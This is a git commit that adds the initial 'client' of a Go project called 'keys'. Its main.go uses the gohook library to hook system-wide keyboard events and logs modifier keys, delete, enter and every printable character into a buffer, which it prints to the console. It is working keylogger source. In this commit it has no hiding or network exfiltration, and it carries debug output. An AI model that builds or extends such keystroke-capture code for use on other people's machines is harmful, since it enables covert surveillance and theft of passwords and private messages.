🎉 Initial client commit

This commit is contained in:
Daniel Svitan 2025-03-21 23:16:41 +01:00
parent 03863161f4
commit 0264c51970
3 changed files with 93 additions and 0 deletions

8
client/go.mod Normal file
View File

@ -0,0 +1,8 @@
module svitan.dev/keys/client
go 1.24.1
require (
github.com/robotn/gohook v0.42.0 // indirect
github.com/vcaesar/keycode v0.10.1 // indirect
)

4
client/go.sum Normal file
View File

@ -0,0 +1,4 @@
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=

81
client/main.go Normal file
View File

@ -0,0 +1,81 @@
package main
import (
"fmt"
hook "github.com/robotn/gohook"
)
const (
SHIFT_RAWCODE = 65505
CTRL_RAWCODE = 65507
ALT_RAWCODE = 65513
DEL_KEYCHAR = 8
ENTER_KEYCHAR = 13
REG_START = 32
REG_END = 255
)
func main() {
evChan := hook.Start()
defer hook.End()
buff := make([]byte, 64)
for ev := range evChan {
switch ev.Rawcode {
case SHIFT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[SHIFT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[shift]")...)
}
continue
case CTRL_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[CTRL]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[ctrl]")...)
}
continue
case ALT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[ALT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[alt]")...)
}
continue
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
}
continue
}
switch ev.Keychar {
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
}
continue
case ENTER_KEYCHAR:
if ev.Kind == hook.KeyDown {
fmt.Printf("A")
buff = append(buff, []byte("\n")...)
}
continue
}
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
if ev.Kind == hook.KeyDown {
fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
buff = append(buff, byte(ev.Keychar))
}
}
fmt.Printf("'%s'\n", buff)
}
}